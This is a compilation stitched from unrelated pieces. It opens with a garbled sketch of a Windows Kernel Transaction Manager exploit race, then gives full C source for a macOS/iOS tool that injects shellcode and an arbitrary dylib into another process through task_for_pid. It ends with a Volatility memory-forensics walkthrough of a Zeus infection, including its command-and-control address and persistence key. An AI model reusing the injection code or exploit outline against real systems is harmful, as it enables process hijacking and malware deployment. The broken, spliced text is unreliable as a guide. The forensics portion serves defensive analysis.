Transaction Manager Vulnerability In Windows

Set up:
The exploit is triggered by creating a pipe. A read-write named pipe to be exect.
We need to create transaction manager objects, tons of enlistment objects, transaction objects and resource manager objects. The KTM notifies the resource manager about any state change.
The enlistment object connects between resource manager and transaction manager
Then all the changes are committed during the transaction

Corrupting data:
We create four threads and over a single cpu core. first thread calls Another thread calls NtQueryInformationThread in a loop, second thread execute NtRecoverResourceManager in a loop and the third thread calls tons of time to NtQueryInformationResourceManager. Call the function during writefile on the previously created named pipe

Lib Injection code In OSX

taken from : http://newosxbook.com/src.jl?tree=listings&file=inject.c

this is an amazing injction Open Source for OSX

 

#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <dlfcn.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
        vm_map_t target,
        mach_vm_address_t *address,
        mach_vm_size_t size,
        int flags
);

kern_return_t mach_vm_write
(
        vm_map_t target_task,
        mach_vm_address_t address,
        vm_offset_t data,
        mach_msg_type_number_t dataCnt
);




#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// Due to popular request:
//
// Simple injector example (and basis of coreruption tool).
//
// If you've looked into research on injection techniques in OS X, you
// probably know about mach_inject. This tool, part of Dino Dai Zovi's
// excellent "Mac Hacker's Handbook" (a must read - kudos, DDZ) was
// created to inject code in PPC and i386. Since I couldn't find anything
// for x86_64 or ARM, I ended up writing my own tool.

// Since, this tool has exploded in functionality - with many other features,
// including scriptable debugging, fault injection, function hooking, code 
// decryption,  and what not - which comes in *really* handy on iOS.
//
// coreruption is still closed source, due its highly.. uhm.. useful
// nature. But I'm making this sample free, and I have fully annotated this.
// The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more
// to come in the 2nd Ed (..in time for iOS 9 :-)
//
// Go forth and spread your code :-)
//
// J (info@newosxbook.com) 02/05/2014
//
// v2: With ARM64 -  06/02/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32!
// Get the full bundle at - http://NewOSXBook.com/files/injarm64.tar
// with sample dylib and with script to compile this neatly.
//
//**********************************************************************
// Note ARM code IS messy, and I left the addresses wide apart. That's 
// intentional. Basic ARM64 assembly will enable you to tidy this up and
// make the code more compact. 
//
// This is *not* meant to be neat - I'm just preparing this for TG's
// upcoming OS X/iOS RE course (http://technologeeks.com/OSXRE) and thought
// this would be interesting to share. See you all in MOXiI 2nd Ed!
//**********************************************************************


// This sample code calls pthread_set_self to promote the injected thread
// to a pthread first - otherwise dlopen and many other calls (which rely
// on pthread_self()) will crash. 
// It then calls dlopen() to load the library specified - which will trigger
// the library's constructor (q.e.d as far as code injection is concerned)
// and sleep for a long time. You can of course replace the sleep with
// another function, such as pthread_exit(), etc.
//
// (For the constructor, use:
//
// static void whicheverfunc() __attribute__((constructor));
//
// in the library you inject)
//
// Note that the functions are shown here as "_PTHRDSS", "DLOPEN__" and "SLEEP___".
// Reason being, that the above are merely placeholders which will be patched with
// the runtime addresses when code is actually injected.
//
char injectedCode[] =
#ifdef X86_64

     //"\xcc"                           //  int3   
     "\x90"				// nop..
     "\x55"                           // pushq  %rbp
     "\x48\x89\xe5"                   // movq   %rsp, %rbp
     "\x48\x83\xec\x20"               // subq   $32, %rsp
     "\x89\x7d\xfc"                   // movl   %edi, -4(%rbp)
     "\x48\x89\x75\xf0"               // movq   %rsi, -16(%rbp)
     "\xb0\x00"                                    // movb   $0, %al
     // call pthread_set_self 
     "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00"    // movabsq $0, %rdi
     "\x48\xb8" "_PTHRDSS"                           // movabsq $140735540045793, %rax
     "\xff\xd0"                                    //    callq  *%rax
     "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00"    // movabsq $0, %rsi
     "\x48\x8d\x3d\x2c\x00\x00\x00"                // leaq   44(%rip), %rdi
     // DLOpen...
     "\x48\xb8" "DLOPEN__" // movabsq $140735516395848, %rax
     "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" //  movabsq $0, %rsi
     "\xff\xd0"                       //   callq  *%rax
     // Sleep(1000000)...
     "\x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00" //  movabsq $10000000000, %rdi
     "\x48\xb8" "SLEEP___" // movabsq $140735516630165, %rax
     "\xff\xd0"            //              callq  *%rax

     // plenty of space for a full path name here
     "LIBLIBLIBLIB" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;

#else
 
   // That's the ARM64 "shellcode"
   "\x08\x03\x00\x58" // LDR X8, #3 ; load PTHREADSS
   "\x00\x01\x3f\xd6" // BLR X8     ; do pthread_set_self
  
    "\x00\x01\x00\x10" // ADR X0, #32
   "\x00\x40\x01\x91"  // ADD x0, x0, #0x50  ; X0 => "LIBLIBLIB...";
   "\x08\x03\x00\x58"  // LDR X8, #3 ; load DLOPEN
   "\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
   "\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
   // dlopen("LIBLIBLIB", 0);
   "\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()
   "\xa8\x00\x00\x58"  // LDR X8, #12 ; load PTHREADEXT
   "\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
   "\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit
   "\x00\x00\x20\xd4"  // BRK X0     ; // useful if you need a break :)
    "XXXX" 
    "PTHRDEXT"   // <-
    "AAAA"
    "BCDEFGHI"
    "JKLMNOPR"
    "STUVWXYZ"
    "!!!!!!!!"
    "_PTHRDSS"  // <-
    "PTHRDEXT"  //
    "DLOPEN__"  // <- 
    "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" 
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

#endif

int inject(pid_t pid, const char *lib) {

task_t remoteTask;

struct stat buf;

/**
  * First, check we have the library. Otherwise, we won't be able to inject..
  */

  int rc = stat (lib, &buf);

  if (rc != 0)
  {
   fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
   //return (-9);
   }

mach_error_t kr = 0;

/**
  * Second - the critical part - we need task_for_pid in order to get the task port of the target
  * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
  * #$%#$%. 
  *
  * In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past
  * taskgated, but root access suffices for that.
  *
  */
kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {

	fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n",pid, mach_error_string(kr));
	return (-1);
}



 


/**
 * From here on, it's pretty much straightforward -
 * Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated.
 * So, first, stack:
 */
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
   
if (kr != KERN_SUCCESS)
	{
		fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
		return (-2);
	}
else
{

	fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);

}
/**
 * Then we allocate the memory for the thread
 */
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
	{
		fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
		return (-2);
	}


 
 /**
   * Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders
   *
   * Since we use the same shared library cache as our victim, meaning we can use memory addresses from
   * OUR address space when we inject..
   */

 int i = 0;
 char *possiblePatchLocation = (injectedCode );
 for (i = 0 ; i < 0x100; i++)
  {

	// Patching is crude, but works.
  	//
	extern void *_pthread_set_self;
	possiblePatchLocation++;

	
	uint64_t addrOfPthreadSetSelf = dlsym ( RTLD_DEFAULT, "_pthread_set_self"); //(uint64_t) _pthread_set_self;
	uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) _pthread_set_self;
        uint64_t addrOfDlopen = (uint64_t) dlopen;
        uint64_t addrOfSleep = (uint64_t) sleep; // pthread_exit;

	if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
	{
	   memcpy(possiblePatchLocation, &addrOfPthreadExit,8);

	   printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
	}

	if (memcmp (possiblePatchLocation, "_PTHRDSS", 8) == 0)
	{
	   memcpy(possiblePatchLocation, &addrOfPthreadSetSelf,8);

	   printf ("Pthread set self @%llx\n", addrOfPthreadSetSelf);
	}

	if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
	{
	   printf ("DLOpen @%llx\n", addrOfDlopen);
	   memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));

	}

	if (memcmp(possiblePatchLocation, "SLEEP___", 6) == 0)
	{
	   printf ("Sleep @%llx\n", addrOfSleep);
	   memcpy(possiblePatchLocation, &addrOfSleep, sizeof(uint64_t));

	}

	if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
	{

	   strcpy(possiblePatchLocation, lib );

	}
	




  }

	/**
  	  * Write the (now patched) code
	  */
	kr = mach_vm_write(remoteTask,                   // Task port
	                   remoteCode64,                 // Virtual Address (Destination)
	                   (vm_address_t) injectedCode,  // Source
	                    0xa9);                       // Length of the source



       if (kr != KERN_SUCCESS)
	{
		fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
		return (-3);
	}


        /*
	 * Mark code as executable - This also requires a workaround on iOS, btw.
	 */
	
        kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

	/*
   	 * Mark stack as writable  - not really necessary 
	 */

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
	

        if (kr != KERN_SUCCESS)
	{
		fprintf(stderr,"Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
		return (-4);
	}


        /**
 	  *
 	  * Create thread - This is obviously hardware specific.  
	  *
	  */

#ifdef X86_64
        x86_thread_state64_t remoteThreadState64;
#else
	// Using unified thread state for backporting to ARMv7, if anyone's interested..
	struct arm_unified_thread_state remoteThreadState64;
#endif
        thread_act_t         remoteThread;

        memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

        remoteStack64 += (STACK_SIZE / 2); // this is the real stack
	//remoteStack64 -= 8;  // need alignment of 16

        const char* p = (const char*) remoteCode64;
#ifdef X86_64
        remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;

        // set remote Stack Pointer
        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
#else

	// Note the similarity - all we change are a couple of regs.
	remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
	remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
	remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
	remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
// __uint64_t    __x[29];  /* General purpose registers x0-x28 */
#endif

	printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

	/*
	 * create thread and launch it in one go
	 */
#ifdef X86_64
kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
(thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
#else // __arm64__
kr = thread_create_running( remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

#endif

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
			  return (-3); }

return (0);

} // end injection code



int main(int argc, const char * argv[])
{
 if (argc < 3)
	{
		fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
		fprintf (stderr, "   _action_: path to a dylib on disk\n");
		exit(0);
	}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
	fprintf(stderr,"Dylib not found\n");
}

}

#if 0


tatic void con() __attribute__((constructor));

void con() {

    printf("I'm a constructor\n");

}

#endif

 

 

 

 

Zeus Analysis in Volatility 2.0

Well I wanted to post another article about memory forensics with my favorite open source tool right now…. Volatility.  Can’t say enough great things about the documentation (very well written and expansive) and the community is very helpful in answering questions (even noobish ones).  So after I read MHL’s Stuxnet Analysis with Volatility 2.0 it inspired me to do my own sort of analysis with a different piece of malware to see how many artifacts I could come up with.  I’ll be referencing some in-depth deep dives to confirm the analysis.  At the end of the article the links will be given to those reports in full.  I’m going to assume no prior knowledge is known about Zeus.  We can use Volatility to start as well as confirm with multiple artifacts we are in fact infected with Zeus beyond any doubts.

Luckily for us we don’t have to infect a VM, take a memory dump and then analyze it (or have a friend ask for our help to cleanup their computer like here).  The folks at Volatilityhave provided a sample image that’s infected with Zeus for you to practice on.  They are in need of contribution with additional malware if you have any laying around that you’d like to share.  So download the image and follow along.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem imageinfo
Volatile Systems Volatility Framework 2.0
Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86 (Instantiated with Win
XPSP2x86)
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (C:\RE\volatility2.0\py\volatility-2.0\zeus.vmem)
PAE type : PAE
DTB : 0x319000
KDBG : 0x80544ce0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2010-08-15 19:17:56
Image local date and time : 2010-08-15 19:17:56
Number of Processors : 1
Image Type : Service Pack 2

So we can tell this is a XP SP2 image, no big surprise here.  Let’s grab a process listing.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem pslist
Volatile Systems Volatility Framework 2.0
Offset(V)  Name                 PID    PPID   Thds   Hnds   Time
---------- -------------------- ------ ------ ------ ------ -------------------
0x810b1660 System                    4      0     58    379 1970-01-01 00:00:00
0xff2ab020 smss.exe                544      4      3     21 2010-08-11 06:06:21
0xff1ecda0 csrss.exe               608    544     10    410 2010-08-11 06:06:23
0xff1ec978 winlogon.exe            632    544     24    536 2010-08-11 06:06:23
0xff247020 services.exe            676    632     16    288 2010-08-11 06:06:24
0xff255020 lsass.exe               688    632     21    405 2010-08-11 06:06:24
0xff218230 vmacthlp.exe            844    676      1     37 2010-08-11 06:06:24
0x80ff88d8 svchost.exe             856    676     29    336 2010-08-11 06:06:24
0xff217560 svchost.exe             936    676     11    288 2010-08-11 06:06:24
0x80fbf910 svchost.exe            1028    676     88   1424 2010-08-11 06:06:24
0xff22d558 svchost.exe            1088    676      7     93 2010-08-11 06:06:25
0xff203b80 svchost.exe            1148    676     15    217 2010-08-11 06:06:26
0xff1d7da0 spoolsv.exe            1432    676     14    145 2010-08-11 06:06:26
0xff1b8b28 vmtoolsd.exe           1668    676      5    225 2010-08-11 06:06:35
0xff1fdc88 VMUpgradeHelper        1788    676      5    112 2010-08-11 06:06:38
0xff143b28 TPAutoConnSvc.e        1968    676      5    106 2010-08-11 06:06:39
0xff25a7e0 alg.exe                 216    676      8    120 2010-08-11 06:06:39
0xff364310 wscntfy.exe             888   1028      1     40 2010-08-11 06:06:49
0xff38b5f8 TPAutoConnect.e        1084   1968      1     68 2010-08-11 06:06:52
0x80f60da0 wuauclt.exe            1732   1028      7    189 2010-08-11 06:07:44
0xff3865d0 explorer.exe           1724   1708     13    326 2010-08-11 06:09:29
0xff3667e8 VMwareTray.exe          432   1724      1     60 2010-08-11 06:09:31
0xff374980 VMwareUser.exe          452   1724      8    207 2010-08-11 06:09:32
0x80f94588 wuauclt.exe             468   1028      4    142 2010-08-11 06:09:37
0xff224020 cmd.exe                 124   1668      0 ------ 2010-08-15 19:17:55

Nothing immediately stands out to me as they all look like legitimate processes that are running on the box.  Let’s see if any of them are hiding with a new command fresh out of 2.0 which is psxview.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem psxview
Volatile Systems Volatility Framework 2.0
Offset       Name                 Pid      pslist     psscan     thrdproc   psp
id     csr_hnds   csr_list
0x80fbf910L  svchost.exe          1028     1          1          1          1
1          0
0x80ff88d8L  svchost.exe          856      1          1          1          1
1          0
0xff1d7da0L  spoolsv.exe          1432     1          1          1          1
1          0
0x80f60da0L  wuauclt.exe          1732     1          1          1          1
1          0
0xff2ab020L  smss.exe             544      1          1          1          1
0          0
0xff3667e8L  VMwareTray.exe       432      1          1          1          1
1          0
0xff247020L  services.exe         676      1          1          1          1
1          0
0xff217560L  svchost.exe          936      1          1          1          1
1          0
0xff143b28L  TPAutoConnSvc.e      1968     1          1          1          1
1          0
0xff203b80L  svchost.exe          1148     1          1          1          1
1          0
0xff1b8b28L  vmtoolsd.exe         1668     1          1          1          1
1          0
0xff255020L  lsass.exe            688      1          1          1          1
1          0
0xff3865d0L  explorer.exe         1724     1          1          1          1
1          0
0xff22d558L  svchost.exe          1088     1          1          1          1
1          0
0xff374980L  VMwareUser.exe       452      1          1          1          1
1          0
0xff1fdc88L  VMUpgradeHelper      1788     1          1          1          1
1          0
0xff218230L  vmacthlp.exe         844      1          1          1          1
1          0
0xff364310L  wscntfy.exe          888      1          1          1          1
1          0
0x80f94588L  wuauclt.exe          468      1          1          1          1
1          0
0xff25a7e0L  alg.exe              216      1          1          1          1
1          0
0xff1ecda0L  csrss.exe            608      1          1          1          1
0          0
0xff38b5f8L  TPAutoConnect.e      1084     1          1          1          1
1          0
0xff1ec978L  winlogon.exe         632      1          1          1          1
1          0
0xff224020L  cmd.exe              124      1          0          0          1
0          0
0x810b1660L  System               4        1          1          1          1
0          0

This uses multiple methods for looking at processes artifacts in memory.  If you see any that are 0’s for psscan, pslist and thrdproc it’s an attempt to hide the process by DKOM (Direct Kernel Object Manipulation).  Nothing interesting here so let’s see about some network connections.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem connections
Volatile Systems Volatility Framework 2.0
Offset(V)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ------

Well that’s disappointing.  No active connections at the time the memory dump was taken.  Let’s go a little deeper and scan for connections that may have been previously closed with connscan.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem connscan
Volatile Systems Volatility Framework 2.0
Offset     Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ------
0x02214988 172.16.176.143:1054       193.104.41.75:80             856
0x06015ab0 0.0.0.0:1056              193.104.41.75:80             856

Bingo!  We have 2 connections here that look to be listed to PID 856.  That’s SVChost which is odd.  Let’s see where these connections are located.  A whois report reveals that the IP is located in Moldova.

IP Address 193.104.41.75
Host 193.104.41.75
Location MD MD, Moldova, Republic of
City -, – –
Organization PE Voronov Evgen Sergiyovich
ISP PE Voronov Evgen Sergiyovich

It’s well known that a lot of malware calls Eastern Europe and Asia home.  So this is pretty suspicious but since it looks like all our processes appear legitimate we might be facing some malware that utilizes code injection.  To detect these types of processes MHL has released a great plugin here that utilizes malfind.  It will detect injected processes so let’s run that on our target image.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem malfind --dump-dir c:\re\zeus_demo
VMwareTray.exe       432    0x00d70000 0xd95fff00 VadS     0      PAGE_EXECUTE_R
EADWRITE
Dumped to: c:\re\zeus_demo\VMwareTray.exe.4be97e8.00d70000-00d95fff.dmp
0x00d70000   4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00    MZ..............

0x00d70010   b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ……..@…….

0x00d70020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    …………….

0x00d70030   00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00    …………….

0x00d70040   0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68    ……..!..L.!Th

0x00d70050   69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f    is program canno

0x00d70060   74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20    t be run in DOS

0x00d70070   6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00    mode….$…….

VMwareTray.exe       432    0x00e30000 0xe30fff00 VadS     0      PAGE_EXECUTE_R
EADWRITE
Dumped to: c:\re\zeus_demo\VMwareTray.exe.4be97e8.00e30000-00e30fff.dmp
0x00e30000   b8 35 00 00 00 e9 cd d7 ad 7b b8 91 00 00 00 e9    .5…….{……

0x00e30010   4f df ad 7b 8b ff 55 8b ec e9 ef 17 3e 76 8b ff    O..{..U…..>v..

0x00e30020   55 8b ec e9 95 76 39 76 8b ff 55 8b ec e9 be 53    U….v9v..U….S

0x00e30030   3a 76 8b ff 55 8b ec e9 d6 18 3e 76 8b ff 55 8b    :v..U…..>v..U.

0x00e30040   ec e9 14 95 39 76 8b ff 55 8b ec e9 4f 7e 3c 76    ….9v..U…O~<v

0x00e30050   8b ff 55 8b ec e9 0a 32 3a 76 8b ff 55 8b ec e9    ..U….2:v..U…

0x00e30060   7d 61 39 76 6a 2c 68 b8 8d 1c 77 e9 01 8c 39 76    }a9vj,h…w…9v

0x00e30070   8b ff 55 8b ec e9 c4 95 c8 70 8b ff 55 8b ec e9    ..U……p..U…

Disassembly:
00e30000: b835000000                       MOV EAX, 0x35
00e30005: e9cdd7ad7b                       JMP 0x7c90d7d7
00e3000a: b891000000                       MOV EAX, 0x91
00e3000f: e94fdfad7b                       JMP 0x7c90df63
00e30014: 8bff                             MOV EDI, EDI
00e30016: 55                               PUSH EBP
00e30017: 8bec                             MOV EBP, ESP
00e30019: e9ef173e76                       JMP 0x7721180d
00e3001e: 8bff                             MOV EDI, EDI
00e30020: 55                               PUSH EBP
[snip]

Well we have a lot of output so looks like a lot of our processes are injected with malcode.  The reason this plugin can find it is due to the fact of looking for kernel memory structures that work very closely with VirtualAlloc.  These memory structures are in a VAD tree and work closely with memory management aspects of the kernel.    There’s a lot more detailed explanation in the references section if you care to read further on the subject.  The plugin outputs hexdumps as well as assembly code at the base location of where the injected code was detected.  You can also pipe this output to a text file if it won’t fit in your console.

With all this output from our plugin let’s revisit our pstree command so we can get a hierarchical view on how the code injection may have cascaded.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem pstree
Volatile Systems Volatility Framework 2.0
Name                                        Pid    PPid   Thds   Hnds   Time
0x810B1660:System                               4      0     58    379 1970-01-
01 00:00:00
. 0xFF2AB020:smss.exe                          544      4      3     21 2010-08-
11 06:06:21
.. 0xFF1EC978:winlogon.exe                     632    544     24    536 2010-08-
11 06:06:23
... 0xFF255020:lsass.exe                       688    632     21    405 2010-08-
11 06:06:24
... 0xFF247020:services.exe                    676    632     16    288 2010-08-
11 06:06:24
.... 0xFF1B8B28:vmtoolsd.exe                  1668    676      5    225 2010-08-
11 06:06:35
..... 0xFF224020:cmd.exe                       124   1668      0 ------ 2010-08-
15 19:17:55
.... 0x80FF88D8:svchost.exe                    856    676     29    336 2010-08-
11 06:06:24
.... 0xFF1D7DA0:spoolsv.exe                   1432    676     14    145 2010-08-
11 06:06:26
.... 0x80FBF910:svchost.exe                   1028    676     88   1424 2010-08-
11 06:06:24
..... 0x80F60DA0:wuauclt.exe                  1732   1028      7    189 2010-08-
11 06:07:44
..... 0x80F94588:wuauclt.exe                   468   1028      4    142 2010-08-
11 06:09:37
..... 0xFF364310:wscntfy.exe                   888   1028      1     40 2010-08-
11 06:06:49
.... 0xFF217560:svchost.exe                    936    676     11    288 2010-08-
11 06:06:24
.... 0xFF143B28:TPAutoConnSvc.e               1968    676      5    106 2010-08-
11 06:06:39
..... 0xFF38B5F8:TPAutoConnect.e              1084   1968      1     68 2010-08-
11 06:06:52
.... 0xFF22D558:svchost.exe                   1088    676      7     93 2010-08-
11 06:06:25
.... 0xFF218230:vmacthlp.exe                   844    676      1     37 2010-08-
11 06:06:24
.... 0xFF25A7E0:alg.exe                        216    676      8    120 2010-08-
11 06:06:39
.... 0xFF203B80:svchost.exe                   1148    676     15    217 2010-08-
11 06:06:26
.... 0xFF1FDC88:VMUpgradeHelper               1788    676      5    112 2010-08-
11 06:06:38
.. 0xFF1ECDA0:csrss.exe                        608    544     10    410 2010-08-
11 06:06:23
0xFF3865D0:explorer.exe                      1724   1708     13    326 2010-08-
11 06:09:29
. 0xFF374980:VMwareUser.exe                    452   1724      8    207 2010-08-
11 06:09:32
. 0xFF3667E8:VMwareTray.exe                    432   1724      1     60 2010-08-
11 06:09:31

We did notice that services.exe looked to have some code injected into it.  Let’s take the parent process (winlogon.dmp that was dumped by malfind) and submit it to virustotal as PID 676 seems to be where the code injection is originating from in a hierarchical sense.

http://www.virustotal.com/file-scan/report.html?id=75a45694e30eecdb63d173fe18f2a6642113244e7049524d5331054c5ba07960-1316219032

Sure enough 26/44 say it’s malicious.  Seems most of the scans detect it as Zbot.   So let’s Google around find some reports and see if we can verify it’s presence elsewhere.  Now that we’re armed with some reports let’s verify some other artifacts on the system just to make sure this is Zbot.

“The install function searches for the “winlogon.exe” process, allocates some memory within it and decrypts itself into the process.”

Well what do you know it looks like Zbot/Zeus injects it’s code into winlogon.exe This was apparent after we did our malfind as it detected injected code into other processes. If you would use procexedump through volatility it would be fine if you submitted to an avscan as it uses the pe header to dump the memory image. The new code sections that were allocated and later written to will not be reflected in the original pe header that was loaded into memory. This is the exact reason why we had to use malfind (Thanks again MHL!) above and couldn’t just procdump based on pid.

“The bot executable is written to the hard drive as “C:\WINDOWS\system32\sdra64.exe”.”

Volatility has a useful plugin here that allows us to identify file handles that are still hanging around in memory filescan.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem filescan
Volatile Systems Volatility Framework 2.0
Offset(V) Obj Type #Ptr #Hnd Access Name
0x01090778 0x8109d560 1 0 R--r-d '\\WINDOWS\\system32\\winrnr.dll'
0x010915b0 0x8109d560 1 0 R--rwd '\\WINDOWS\\system32\\oleaut32.dll'
0x01091648 0x8109d560 1 0 R--rwd '\\WINDOWS\\system32\\rpcrt4.dll'
0x01091810 0x8109d560 1 0 R--rwd '\\WINDOWS\\system32\\csrss.exe'
0x01092270 0x8109d560 1 1 RW-rw- '\\WINDOWS\\WindowsUpdate.log'
[snip]
0x029d9b28 0x8109d560 1 1 R----- '\\WINDOWS\\system32\\sdra64.exe'
0x029d9cd8 0x8109d560 1 0 -WD--- '\\WINDOWS\\system32\\sdra64.exe'
[snip]

“The directory “C:\WINDOWS\system32\lowsec\” is created. This directory is not visible in Windows Explorer but can be seen from the command line. Its purpose is to contain the following files:

local.ds: Contains the most recently downloaded DynamicConfig file.
user.ds: Contains logged information.
user.ds.lll: Temporarily created if transmission of logs to the drop server fails.

These artifacts can also be found in the above file scan to further bolster the case that this is definitely Zeus.

“The Winlogon (“HKLM/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Winlogon”) registry key’s value is appended with the path of the bot executable: C:/WINDOWS/system32/sdra64.exe. This will cause the bot to execute when the computer restarts.”

Volatility sure enough has a feature to allow us to investigate registry entries. Namely the printkey command. So let’s check the reg key from our Zbot analysis to see that this is here too.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem printkey -K "Mi
crosoft\Windows NT\CurrentVersion\Winlogon"
Volatile Systems Volatility Framework 2.0
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: Winlogon (S)
Last updated: 2010-08-15 19:17:23
Subkeys:
(S) GPExtensions
(S) Notify
(S) SpecialAccounts
(V) Credentials

Values:
REG_DWORD AutoRestartShell : (S) 1
REG_SZ DefaultDomainName : (S) BILLY-DB5B96DD3
REG_SZ DefaultUserName : (S) Administrator
REG_SZ LegalNoticeCaption : (S)
REG_SZ LegalNoticeText : (S)
REG_SZ PowerdownAfterShutdown : (S) 0
REG_SZ ReportBootOk : (S) 1
REG_SZ Shell : (S) Explorer.exe
REG_SZ ShutdownWithoutLogon : (S) 0
REG_SZ System : (S)
